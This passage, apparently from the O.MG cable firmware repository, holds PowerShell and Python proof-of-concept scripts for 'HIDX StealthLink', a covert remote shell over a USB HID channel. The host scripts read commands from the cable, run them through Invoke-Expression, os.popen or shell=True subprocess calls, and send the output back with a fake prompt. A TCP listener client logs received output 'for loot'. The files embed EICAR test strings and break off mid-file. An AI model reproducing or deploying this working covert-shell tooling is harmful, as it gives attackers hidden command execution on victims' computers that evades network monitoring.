[Parameter(Position = 1)]\n [ValidateNotNullOrEmpty()]\n [String]\n $VendorID = \"D3C0\", #Default value\n\n [Parameter(Position = 2)]\n [ValidateNotNullOrEmpty()]\n [String]\n $ProductID = \"D34D\" # Default value\n )\n\n #Defining OMG device\n $OMG = $VendorID +\"&PID_\" + $ProductID\n\n $tries = 0 \n $ErrorActionPreference=\"Stop\"\n\n #Creating filehandle - Method by rogandawes\n function CreateBinding(){\n try { \n Add-Type -TypeDefinition @\"\nusing System;\nusing System.IO;\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nnamespace omg {\n public class hidx {\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);\n\n public static FileStream open(string fn) {\n return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);\n }\n }\n}\n\"@\n Write-Host -ForegroundColor Yellow \"[?]Adding Binding...\"\n } \n catch {\n Write-Host -ForegroundColor red \"[!]Error:Cannot load Binding...\"\n }\n }\n\n #Identify OMG device\n function Get-OMGDevice(){\n $devs = gwmi Win32_USBControllerDevice\n write-host -ForegroundColor Yellow \"[?]Searching for O.MG Device...\"\n $devicestring=$null\n foreach ($dev in $devs) {\n $wmidev = [wmi]$dev.Dependent\n if ($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {\n $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}') #GUID_DEVINTERFACE_HID\n }\n }\n return $devicestring\n }\n\n #Split and Write message to filehandle\n Function Send-Message(){\n #Convert output to bytes\n $outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + \"> \") #Sending fake prompt to mimic a proper shell\n $outputLength = $outputBytes.Length\n #Send output bytes to omg\n $outputChunkSize = 8 # Kept at 8 for best experience\n $outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize)\n\n #Verbosity message\n if ($VerbosePreference -eq 'Continue') {\n Write-Host -ForegroundColor green \"[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets.\"\n }\n\n $messageSendTime = Get-Date\n for ($i = 0; $i -lt $outputChunkNr; $i++) {\n $outputBytesToSend = New-Object Byte[] (65)\n $outputStart = $i * $outputChunkSize\n $outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength)\n $outputChunkLen = $outputEnd - $outputStart\n [System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet\n if ($VerbosePreference -eq 'Continue') {\n $currentTime = Get-Date\n $timeDifference = $currentTime - $messageSendTime\n Write-Host -ForegroundColor yellow \"[?]Message ready to send after $($timeDifference)...\"\n $messageSendTime=$currentTime\n $outputBytesToSend | Format-Hex\n }\n $filehandle.Write($outputBytesToSend, 0, 65)\n\n }\n }\n \n \n CreateBinding\n #Find O.MG device\n $devicestring = Get-OMGDevice\n #Verify device - error checking\n if($null -eq $devicestring){\n $loop=$false\n Write-Host -ForegroundColor red \"[!]Error: No O.MG Device not found! Check VID/PID\"\n $loop=$false\n break\n }\n #Verify device - open device\n Write-Host -ForegroundColor Green \"[+]Identified O.MG Device: ${devicestring}\"\n $filehandle = [omg.hidx]::open($devicestring)\n #Verify filehandle \n if($null -eq $filehandle){\n $loop=$false\n Write-Host -ForegroundColor red \"[!]Error: Filehandle is empty\"\n break\n }\n \n\n #Message on initial connection\n $output = \"[+]Stealth Link Session Established!`n\"\n \n #Sending message on initial connection\n Write-Host -ForegroundColor Cyan \"[*]Sending Connection Prompt to ${devicestring}\"\n Send-Message\n\n #Starting loop for birectional connection\n $loop=$true\n while ($loop) {\n try {\n #Find O.MG device\n $devicestring = Get-OMGDevice\n #Verify device - error checking\n if($null -eq $devicestring){\n $loop=$false\n Write-Host -ForegroundColor red \"[!]Error: No O.MG Device not found! Check VID/PID\"\n $loop=$false\n break\n }\n #Verify device - open device\n Write-Host -ForegroundColor Green \"[+]Connected O.MG Device: ${devicestring}\"\n $filehandle = [omg.hidx]::open($devicestring)\n #Verify filehandle \n if($null -eq $filehandle){\n $loop=$false\n Write-Host -ForegroundColor red \"[!]Error: Filehandle is empty\"\n break\n }\n $in = \"\"\n Do {\n Write-Host -ForegroundColor Green \"[+]Ready to receive commands...\"\n echo $filehandle.Length\n echo $filehandle.BytesToRead\n $byte = [byte[]]::new(10)\n #Read bytes from omg\n $bytes = New-Object Byte[] (65)\n $filehandle.Read($bytes, 0, 65) | Out-Null\n #Split and display received command\n foreach ($byte in $bytes) {\n $input_raw = [System.Convert]::ToChar($byte)\n if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) {\n $in = \"${in}${input_raw}\"\n #If using verbose, display split commands\n if ($VerbosePreference -eq 'Continue') {\n Write-Host \"Command Parts: ${byte} / $in\"\n }\n\n }\n }\n } While (!$in.Contains(\"`n\")) #Execute on new-line\n Try {\n if ($VerbosePreference -eq 'Continue') {\n Write-Host -ForegroundColor Green \"[+]Executed command: $in\"\n $in | Format-Hex\n }\n $output = Invoke-Expression $in|Out-String\n #If output is empty return fake prompt\n if ($output -eq '') {\n if ($VerbosePreference -eq 'Continue') {\n $output = \"[+]Command successful!`n\" #If verbose is set, return additional message\n } else {\n $output = \"`n\"\n }\n }\n\n } Catch {\n $output = Echo \"[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program.\"|Out-String #Error message send to receiver\n Write-Host -ForegroundColor red \"[!]Error: Unable to run: $in\" #Error message in console\n }\n\n #Sending Message to OMG Device\n Send-Message\n\n $filehandle.Close()\n }\n catch {\n if ($VerbosePreference -eq 'Continue') {\n Write-Host -ForegroundColor red \"[!]Error occurred, ${tries} remain\"\n }\n echo $Error\n if($tries -le 0){\n Write-Host -ForegroundColor red \"[!]Fatal error, tries exhausted must stop\"\n $loop=$false\n $filehandle.Close()\n break\n } else {\n $tries = $tries - 1\n }\n }\n }\n} \n"
},
{
"path": "tools/HIDX/python/hidxshell.py",
"content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n# mischief gadgets, wasabi 2023\n\n# This is a POC\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\n\n##### \n##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)\n#####\n\nimport os\nimport sys\nimport string\nimport select\nimport pkgutil\nimport usb.core as uc\nimport usb.util as uu\nimport importlib\nimport argparse\n\nfrom datetime import datetime\n\n# CHANGE THESE TO YOUR CABLES VID AND PID\n\nfrom pprint import pprint\n\nclass HIDX():\n def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):\n # device information and endpoints\n self.vid = None\n self.pid = None\n self.int = None\n self.dev = None\n self.dev_backend = None\n self.reattach = False\n self.cfg = None\n self.debug = debug\n # set sizes\n self.read_buff_size = rbuff\n self.write_buff_size = sbuff\n # code handlers for errors and messages\n self.send_buff = []\n self.recv_buff = []\n self.read_errors = 0\n self.write_errors = 0\n # start things if we need...\n if vid and pid:\n setup = self.setup_dev(vid=vid,pid=pid)\n self.vid = vid\n self.pid = pid\n if self.debug:\n self.find_devs()\n if not setup:\n print(\"Failed to initalize.\")\n sys.exit(1) \n else:\n print(\"No VID or PID Provided\")\n self.find_devs()\n \n \n def display_dev(self,vid=None,pid=None):\n if not vid and not pid:\n hvid = hex(self.vid)\n hpid = hex(self.pid)\n else:\n hvid = hex(vid)\n hpid = hex(pid)\n return f\"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]\"\n\n\n def do_cmd(self,cmd):\n debug_send = False\n if debug_send:\n print(f\"CMD = {cmd}\")\n dt = datetime.now().strftime(\"%M:%S.%f\")\n user_input = f\"HST {dt}\\n\"\n return user_input\n else:\n c = os.popen(cmd)\n r = c.read()\n return r\n \n def find_devs(self):\n dev = None\n try:\n dev = uc.find(find_all=True)\n self.dev_backend = \"pyusb\"\n except uc.NoBackendError:\n if pkgutil.find_loader('libusb_package'):\n libusb_package = importlib.import_module('libusb_package')\n self.dev_backend = \"libusb_package\"\n dev = libusb_package.find(find_all=True)\n else:\n print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n return False\n if dev:\n print(\"Detecting Available USB Devices:\")\n for cfg in dev:\n print('\\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\\n')\n print(\"\\n\")\n else:\n print(\"Unable to enumerate available USB Devices. Likely permissions issues!\")\n \n def setup_dev(self,vid,pid):\n dev = None\n dev_id = self.display_dev(vid,pid)\n if self.debug:\n print(f\"Attempting to find Device: {dev_id}\")\n try:\n dev = uc.find(idVendor=vid, idProduct=pid)\n pprint(dev)\n self.dev_backend = \"pyusb\"\n if self.debug:\n print(\"Using pyusb+libusb\")\n except uc.NoBackendError:\n if pkgutil.find_loader('libusb_package'):\n libusb_package = importlib.import_module('libusb_package')\n self.dev_backend = \"libusb_package\"\n dev = libusb_package.find(idVendor=vid, idProduct=pid)\n if self.debug:\n print(\"Using pyusb+lisbusb_package\")\n else:\n print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n return False\n if not dev:\n print(f\"Could not find device: {dev_id}\")\n return False\n self.reattach = False\n try:\n if hasattr(dev,\"is_kernel_driver_active\") and dev.is_kernel_driver_active(2):\n self.reattach = True\n dev.detach_kernel_driver(2)\n except NotImplementedError:\n pass\n self.cfg = dev.get_active_configuration()\n self.int = self.cfg.interfaces()[2]\n self.dev = dev\n print(f\"Found and Connecting to Device: {dev_id}\")\n return True\n\n def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):\n if left_pad and right_pad:\n raise Exception(\"Cannot add padding on both the left and right side!\")\n # default to right pad\n if not left_pad and not right_pad:\n right_pad = True\n padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n padded_str = None\n if isinstance(input_str, bytes):\n input_str = self.decode_msg(input_str)\n if right_pad:\n padded_str = input_str + ' ' * padding_length \n if left_pad:\n padded_str = ' ' * padding_length + input_str\n return padded_str\n\n def split_output(self,message,chunk_size=8):\n chunks = []\n for i in range(0,len(message),chunk_size):\n raw_message = message[i:i+chunk_size]\n padded_message = self.pad_input(raw_message,right_pad=True)\n chunks.append(padded_message)\n return chunks\n \n\n def write(self,msg=None, buffer_limit=8):\n endpoint = self.int.endpoints()[1]\n error = False\n start_buffer_size = len(self.send_buff)\n write_bytes = 0\n if msg:\n self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)\n if self.debug:\n print(f\"Msg:{msg} = {self.send_buff}\")\n if len(self.send_buff)>0:\n try:\n part = b\"\"\n if len(self.send_buff)>0:\n part = self.send_buff.pop(0)\n endpoint.write(part)\n write_bytes = len(part)\n end_buffer_size = len(self.send_buff)\n if self.debug:\n print(f\"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}\")\n except Exception as e:\n print(f\"Error in write, {e}\")\n error = True\n return error, write_bytes\n\n\n def _read(self, buffer_limit=8,report_size=8,timeout=200):\n endpoint = self.int.endpoints()[0]\n res = None\n error = False\n raw_message = b\"\"\n recv_packets = 0\n recv_bytes = 0\n try:\n remainder = buffer_limit+report_size*2\n while (remainder > report_size):\n if self.debug:\n print(\"In _read loop...\")\n remainder -= report_size\n rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b\"\\x00\")\n procdata = b\"\"\n for _r in rawdata:\n if 32 <= _r <= 126 or _r in [10]:\n procdata+=chr(_r).encode()\n raw_message+=procdata \n recv_packets += 1\n recv_bytes += len(rawdata)\n except uc.USBTimeoutError:\n pass\n except uc.USBError:\n print(\"Lost device, must attempt to reconnect.\")\n #self.reattach=True\n #self.setup_dev(self.vid,self.pid)\n error = True\n pass # for now so we just time out eventually\n # do a decode\n if recv_packets>0:\n data_str = \"\"\n for c in raw_message:\n data_str += chr(c)\n res = data_str\n else:\n pass\n\n return error, recv_packets, recv_bytes, res\n \n def read(self, retries=1):\n raw_message = b\"\"\n empty_message = 0\n error = False\n recv_bytes=0\n recv_packet=0\n while retries>0:\n if self.debug:\n print(\"In read loop...\")\n try:\n error, recv_packet, recv_byte, raw_data = self._read(\n buffer_limit=(self.read_buff_size*4),\n report_size=self.read_buff_size\n )\n recv_bytes+=recv_byte\n recv_packet+=recv_packet\n if error:\n print(\"! Error detected in read()\")\n return raw_message\n if recv_byte == 0:\n retries-=1\n else:\n print(\"Test Byte\")\n raw_message+=bytes(raw_data,'utf-8')\n break\n except:\n error=True\n retries-=1\n if self.debug:\n print(\"debug: listening for data\")\n return error, recv_packet, recv_bytes, raw_message\n\n def setWriteBuffSize(self,size):\n self.write_buff_size = size\n return size\n \n def setReadBuffSize(self,size):\n self.read_buff_size = size\n return size \n\n def decode_msg(self,data):\n content = None\n try:\n content = data.decode('utf-8')\n except UnicodeDecodeError:\n content = data.decode('latin-1')\n return content \n\n def start(self,max_errors=5):\n iter = 1\n clear_errcnt = 0 \n while self.write_errors < max_errors and self.read_errors < max_errors:\n result = None\n read_error, recv_packet, recv_bytes, raw_message = self.read()\n \n if self.debug:\n print(\"In main loop...\")\n \n if read_error:\n self.read_errors+=1\n else:\n if recv_bytes > 0 and len(raw_message)>1:\n commands = raw_message.decode(\"utf-8\").rstrip().replace(\"\\\\n\",\"\\n\").split(\"\\n\")\n for command in commands:\n if self.debug:\n print(\"In command loop...\")\n result = None\n cleaned_command = command.rstrip().replace(\"\\n\",\"\").replace(\"\\r\",\"\").rstrip().strip()\n if self.debug:\n print(f\"RECV: '{cleaned_command}'\\n\")\n try:\n result = self.do_cmd(cleaned_command)\n except Exception as e:\n print(f\"error! {e}\")\n if result and self.debug:\n print(\"Got new data!\")\n if result:\n result = result + \"\\x07\\x17\\x00\\x00\"\n write_error,send_bytes = self.write(result,self.write_buff_size)\n if write_error:\n self.write_errors+=1\n result=None\n write_error,send_bytes = self.write(result,self.write_buff_size)\n if write_error:\n self.write_errors+=1 \n iter += 1\n if (clear_errcnt > 24):\n self.read_errors = 0\n self.write_errors = 0\n \n def send(self,message,max_errors=5):\n iter = 1\n clear_errcnt = 0 \n write_error,send_bytes = self.write(message,self.write_buff_size)\n self.write_errors =+ 1\n if self.debug:\n print(\"Sending message: %d\" % len(message))\n while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):\n result = message\n write_error,send_bytes = self.write(None,self.write_buff_size)\n if write_error:\n self.write_errors+=1 \n iter += 1\n if (clear_errcnt > 24):\n self.read_errors = 0\n self.write_errors = 0\n if self.write_errors>2:\n print(f\"Send incomplete. Total errored packets: {self.write_errors}\")\n else:\n print(\"Send Complete\")\n\nif __name__ == \"__main__\":\n\n def clean_id(inmsg):\n hexstr = \"0x\"+str(inmsg).lower().replace(\"0x\",\"\")\n return int(hexstr,16)\n \n\n def read_stdin():\n content = None\n # to work around certain windows errors that may pop up\n try:\n if not sys.stdin.isatty():\n data = sys.stdin.buffer.read().strip()\n if data:\n try:\n # Try decoding using 'utf-8'\n content = data.decode('utf-8')\n except UnicodeDecodeError:\n # If 'utf-8' decoding fails, try 'latin-1'\n content = data.decode('latin-1')\n except:\n pass\n return content \n \n parser = argparse.ArgumentParser(description=\"HIDUniversal Tool\")\n\n parser.add_argument(\"--vid\", type=str, default=\"0xd3c0\", help=\"Specify vid parameter\")\n parser.add_argument(\"--pid\", type=str, default=\"0xd34d\", help=\"Specify pid parameter\")\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"Enable debug mode\")\n parser.add_argument(\"--readbuff\", type=int, help=\"Specify read buffer size\",default=8)\n parser.add_argument(\"--sendbuff\", type=int, help=\"Specify send buffer size\",default=8)\n\n args = parser.parse_args()\n debug = False\n if args.debug:\n debug=True\n print(\"Starting Up...\")\n \n hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))\n stdin_data = read_stdin()\n if stdin_data:\n if debug:\n print(\"In STDIN Mode\")\n hdx.send(stdin_data)\n else:\n if debug:\n print(\"In Interactive Shell Mode\")\n hdx.start()\n"
},
{
"path": "tools/HIDX/python/linux-nativeshell.py",
"content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n\n# This is a POC\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\nimport os,sys,time\nfrom textwrap import wrap\n\n# set these\n \nhidx_device = None\ntransmission_delay = 1 # in seconds, 0 disables\nmax_message_size = 48 # bytes\n\n# don't do things past here\n\n\ndef do_cmd(cmd):\n c = os.popen(cmd)\n r = c.read()\n return r\n\n# trick found by 01phor1e\ndef get_linux_dev():\n cmd = \"dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}'\"\n try:\n r = str(do_cmd(cmd)).strip()\n return r\n except:\n return None\n\n# trick found by 01phor1e\ndef debug_linux_dev():\n cmd = \"dmesg|grep hidraw|grep hiddev|grep input2\"\n try:\n r = str(do_cmd(cmd)).strip()\n return r\n except:\n return \"No DMESG output identified\"\n\ndef debug_linux(fd):\n print(\"===== Debug: DMESG =====\")\n debug_linux_dev()\n print(\"Found Device at Location: %s\"%get_linux_dev())\n print(\"===== Debug: FD INFO =====\")\n if fd is None:\n print(\"FD Error, no FD\")\n else:\n print(os.stat(fd))\n print(os.fstat(fd))\n print(os.lstat(fd))\n print(\"===== End Debug =====\")\n\ndef chunk_cmd(result):\n def chunk(o):\n r = str(result)\n s = sys.getsizeof(o)\n if s>max_message_size:\n queued_cmds.extend(wrap(r,max_message_size-1))\n else:\n queued_cmds.append(r)\n if isinstance(result, list) or isinstance(result, tuple):\n for line in result:\n chunk(line)\n else:\n chunk(result)\n\nraw_dev = get_linux_dev()\nif raw_dev is not None:\n hidx_device = \"/dev/\"+raw_dev\nelse:\n if len(sys.argv) < 2:\n print(\"error provide hid device\")\n sys.exit(1)\n else:\n hidx_device = sys.argv[1]\n\nqueued_cmds = []\nhs = os.open(hidx_device, os.O_RDWR)\n\nrun = True\ncmd = \"\"\ntries = 16\nwhile tries>1:\n print(\"Ready\")\n try:\n print(\"In Listener\")\n while run:\n print(\"Running...\")\n try:\n debug_linux(hs)\n except:\n print(\"HID FD is unreadable\")\n debug_linux(hidx_device)\n if hs is None:\n print(\"Opening Socket...\")\n hs = os.open(hidx_device, os.O_RDWR)\n else:\n print(\"Reusing Socket...\")\n r = os.read(hs,int(max_message_size))\n if \"\\n\" in cmd:\n # have a command\n print(\"Attempting to run cmd: '%s'\"%cmd)\n print(\"Result from cmd is %d\"%len(queued_cmds))\n chunk_cmd(do_cmd(cmd))\n cmd = \"\"\n if len(queued_cmds)>0:\n for queued_cmd in queued_cmds:\n queued_cmd = queued_cmd+\"\\n\"\n os.write(hs,bytearray(queued_cmd.encode(\"utf-8\")))\n if transmission_delay>0:\n time.sleep(transmission_delay)\n queued_cmds = []\n else:\n cmd += r.decode(\"utf-8\")\n except OSError as e:\n print(\"Error with socket, you have %d tries remaining\"%tries)\n time.sleep(5)\n try:\n if hs is not None:\n os.close(hs)\n try:\n debug_linux(hs)\n except:\n print(\"HID FD is unreadable\")\n debug_linux(hidx_device)\n except:\n print(\"Socket already closed\")\n print(e)\n tries-=1\n"
},
{
"path": "tools/HIDX/python/stealthlink-client-universal.py",
"content": "#Name: Stealth-client-universal.py\n#Author: Wasabi (@spiceywasabi)\n#Acknowledgments: Ø1(@01p8or13)\n#Required Dependencies: Python3, Network connectivity to O.MG device\n\n#Description:\n\"\"\"\nThis Python-script acts as a listener for HIDX Stealthlink, mainly the PoCs provided under:\n- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/powershell/win-hidshell.ps1\n- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-host-universal.py\n\nConfiguration in lines 49 - 52\n\"\"\"\n\n# current issues:\n\"\"\" \n- %quit not closing as intended. CTRL +C required\n\n- input prompt may return before content is finished so you will see things like\n$whoami\n$root\nif you want to fix this easily, just hit another enter as soon as you send a message\n\n- the universal client + universal python target code are slower than native or powershell\n\n- ascii characters are primarily *only* supported, other characters may be stripped\n\n- recvlog doesn't buffer data for efficiency purposes, error checking should (and will) be added later\nthis will also fix #1\n\n- this client is currently mac or linux only due to select()\n\"\"\"\n\nimport os\nimport sys\nimport socket\nimport select\nimport logging\nimport binascii\nimport argparse\nimport threading\n\nfrom datetime import datetime\nfrom time import sleep\nfrom pprint import pprint\n\n# X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n\n## These can be set but aren't meant to be changed regularly.\nremote_prompt = True # Assume that prompt gets received from host - Set to true for Powershell usage\nnowait = True # wait or not wait for end of message control characters \ndelay = None # delay between messages (0.2-0.5 is fine) default to None\nwindows = False # enable larger buffer, ONLY meant for testing!\n\ndef non_blocking_input(prompt=\"\", timeout=5):\n print(prompt, end='', flush=True)\n rlist, _, _ = select.select([sys.stdin], [], [], timeout)\n if rlist:\n return sys.stdin.readline().strip()\n else:\n return None\n\ndef pad_input(input_str, left_pad=False, right_pad=False, chunk_size = 8):\n if left_pad and right_pad:\n raise Exception(\"[!]Cannot add padding on both the left and right side!\")\n # default to right pad\n if not left_pad and not right_pad:\n right_pad = True\n padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n padded_str = None\n if isinstance(input_str, bytes):\n input_str = input_str.decode(\"utf-8\")\n if right_pad:\n padded_str = input_str + ' ' * padding_length \n if left_pad:\n padded_str = ' ' * padding_length + input_str\n return padded_str\n\ndef split_output(message,chunk_size=8):\n chunks = []\n for i in range(0,len(message),chunk_size):\n raw_message = message[i:i+chunk_size]\n padded_message = pad_input(raw_message,right_pad=True)\n chunks.append(padded_message)\n return chunks\n \ndef recvlog(msg):\n print(f\"{msg}\",end=\"\")\n logger_received.info(msg)\n\ndef handle_client(client_socket,run,rts):\n global nowait\n no_data_count = 0\n while run.is_set():\n data = None\n try:\n data = client_socket.recv(1024).decode()\n except OSError as e:\n run.clear()\n print(f\"[!]Socket Exception: {e}\")\n break\n # double check the data\n if not data:\n recvlog(\"[!]Socket has disconnected....\")\n client_socket.shutdown(socket.SHUT_RDWR)\n client_socket.close()\n run.clear()\n break\n else:\n if \"\\x07\\x17\" in data or nowait:\n rts.set()\n elif \"SH\" in data:\n data = data.strip(\"\\n\")\n rts.set()\n elif data == \"\" and no_data_count>=2:\n rts.set()\n #print(\"Status: %s\"%str(rts.is_set()))\n recvlog(f\"{data}\")\n \ndef console_input(client_socket,run,rts, server_socket = None):\n global nowait, windows, delay, remote_prompt\n print(\"\\nHIDX StealthLink Universal Client (type '%quit' to exit)\") \n \n debug_send = False\n split_messages = True\n while run.is_set():\n if rts.is_set():\n prompt_msg = \"\\r$\"\n user_input = \"\"\n if debug_send:\n dt = datetime.now().strftime(\"%M:%S.%f\")\n user_input = f\"CLI {dt}\"\n else:\n if remote_prompt:\n prompt_msg = \"\"\n print(prompt_msg, end='', flush=True)\n user_input = input()\n if not user_input:\n continue\n if user_input == \"%exit\" or \"%quit\" in user_input:\n if server_socket:\n server_socket.settimeout(1)\n #client_socket.shutdown()\n client_socket.close()\n run.clear()\n break\n try:\n raw_input = user_input + \"\\n\\x07\\x17\\00\"\n if windows:\n raw_input =pad_input(raw_input,right_pad=True,chunk_size=64)\n if logger_sent:\n logger_sent.info(raw_input)\n output = None\n if split_messages:\n output = split_output(raw_input)\n for m in output:\n client_socket.sendall(m.encode())\n if delay:\n sleep(float(delay))\n else:\n output = padded_input.encode()\n client_socket.sendall(output)\n if not nowait:\n rts.clear()\n except OSError as e:\n print(f\"[!]Socket Exception: {e}\")\n run.clear()\n #client_socket.shutdown()\n client_socket.close()\n break\n\ndef hidxcli(host, port,reuse=True):\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n if reuse:\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n run = threading.Event()\n run.set()\n \n rts = threading.Event()\n rts.set()\n\n try:\n server_socket.bind((host, port))\n server_socket.listen(1)\n server_socket.settimeout(1) \n print(f\"[*]Server listening on {host}:{port}\")\n while run.is_set():\n client_socket,addr = None,None\n try:\n client_socket, addr = server_socket.accept()\n recvlog(f\"[+]O.MG Device connected from {addr[0]}:{addr[1]}\")\n rts.set()\n except socket.timeout:\n pass\n if client_socket:\n client_thread = threading.Thread(target=handle_client, args=(client_socket,run,rts,))\n client_thread.start()\n console_thread = threading.Thread(target=console_input, args=(client_socket,run,rts,server_socket,))\n console_thread.start()\n finally:\n print(\"[?]Attempting to close..\")\n server_socket.shutdown(socket.SHUT_RDWR)\n server_socket.close()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Client\")\n parser.add_argument(\"host\", type=str, nargs=\"?\", default=\"0.0.0.0\", help=\"address to bind to\")\n parser.add_argument(\"port\", type=int, nargs=\"?\", default=1234, help=\"port to listen on\")\n parser.add_argument(\"sendlog\", type=str, nargs=\"?\", help=\"message send log\")\n parser.add_argument(\"recvlog\", type=str, nargs=\"?\", default=\"hidxrecv.log\", help=\"message receive log (for loot)\")\n args = parser.parse_args()\n \n global logger_received, logger_sent\n logger_received = logging.getLogger(\"received_data\")\n logger_received.addHandler(logging.FileHandler(args.recvlog))\n logger_received.setLevel(logging.INFO)\n logger_sent = None\n if args.sendlog:\n logger_sent = logging.getLogger(\"sent_data\")\n logger_sent.addHandler(logging.FileHandler(args.sendlog))\n logger_sent.setLevel(logging.INFO)\n\n hidxcli(args.host, args.port)\n"
},
{
"path": "tools/HIDX/python/stealthlink-host-universal.py",
"content": "# NOTE: This is a POC only\n# This has certain limitations on size of packets and writes\n# You may need root access to use this.\n# mischief gadgets, wasabi 2023\n\n##### \n##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)\n#####\n\nimport os\nimport sys\nimport string\nimport select\nimport pkgutil\nimport usb.core as uc\nimport usb.util as uu\nimport importlib\nimport subprocess\nimport argparse\n\nfrom datetime import datetime\n\n# CHANGE THESE TO YOUR CABLES VID AND PID\n\nfrom pprint import pprint\n\nclass HIDX():\n def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):\n # device information and endpoints\n self.vid = None\n self.pid = None\n self.int = None\n self.dev = None\n self.dev_backend = None\n self.reattach = False\n self.cfg = None\n self.debug = debug\n # set sizes\n self.read_buff_size = rbuff\n self.write_buff_size = sbuff\n # code handlers for errors and messages\n self.send_buff = []\n self.recv_buff = []\n self.read_errors = 0\n self.write_errors = 0\n # start things if we need...\n if vid and pid:\n setup = self.setup_dev(vid=vid,pid=pid)\n self.vid = vid\n self.pid = pid\n if self.debug:\n self.find_devs()\n if not setup:\n print(\"Failed to initalize.\")\n sys.exit(1) \n else:\n print(\"No VID or PID Provided\")\n self.find_devs()\n \n \n def display_dev(self,vid=None,pid=None):\n if not vid and not pid:\n hvid = hex(self.vid)\n hpid = hex(self.pid)\n else:\n hvid = hex(vid)\n hpid = hex(pid)\n return f\"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]\"\n\n\n def do_cmd(self,cmd):\n debug_send = False\n if debug_send:\n print(f\"CMD = {cmd}\")\n dt = datetime.now().strftime(\"%M:%S.%f\")\n user_input = f\"HST {dt}\\n\"\n return user_input\n else: \n #was c = os.popen(cmd)\n if \"cd \" in cmd:\n try:\n os.chdir(cmd.split(\" \")[1])\n except:\n os.chdir(os.getcwd())\n c = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n stdout_output = c.stdout\n stderr_output = c.stderr\n return stdout_output\n \n def find_devs(self):\n dev = None\n try:\n dev = uc.find(find_all=True)\n self.dev_backend = \"pyusb\"\n except uc.NoBackendError:\n if pkgutil.find_loader('libusb_package'):\n libusb_package = importlib.import_module('libusb_package')\n self.dev_backend = \"libusb_package\"\n dev = libusb_package.find(find_all=True)\n else:\n print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n return False\n if dev:\n print(\"Detecting Available USB Devices:\")\n for cfg in dev:\n print('\\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\\n')\n print(\"\\n\")\n else:\n print(\"Unable to enumerate available USB Devices. Likely permissions issues!\")\n \n def setup_dev(self,vid,pid):\n dev = None\n dev_id = self.display_dev(vid,pid)\n if self.debug:\n print(f\"Attempting to find Device: {dev_id}\")\n try:\n dev = uc.find(idVendor=vid, idProduct=pid)\n pprint(dev)\n self.dev_backend = \"pyusb\"\n if self.debug:\n print(\"Using pyusb+libusb\")\n except uc.NoBackendError:\n if pkgutil.find_loader('libusb_package'):\n libusb_package = importlib.import_module('libusb_package')\n self.dev_backend = \"libusb_package\"\n dev = libusb_package.find(idVendor=vid, idProduct=pid)\n if self.debug:\n print(\"Using pyusb+lisbusb_package\")\n else:\n print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n return False\n if not dev:\n 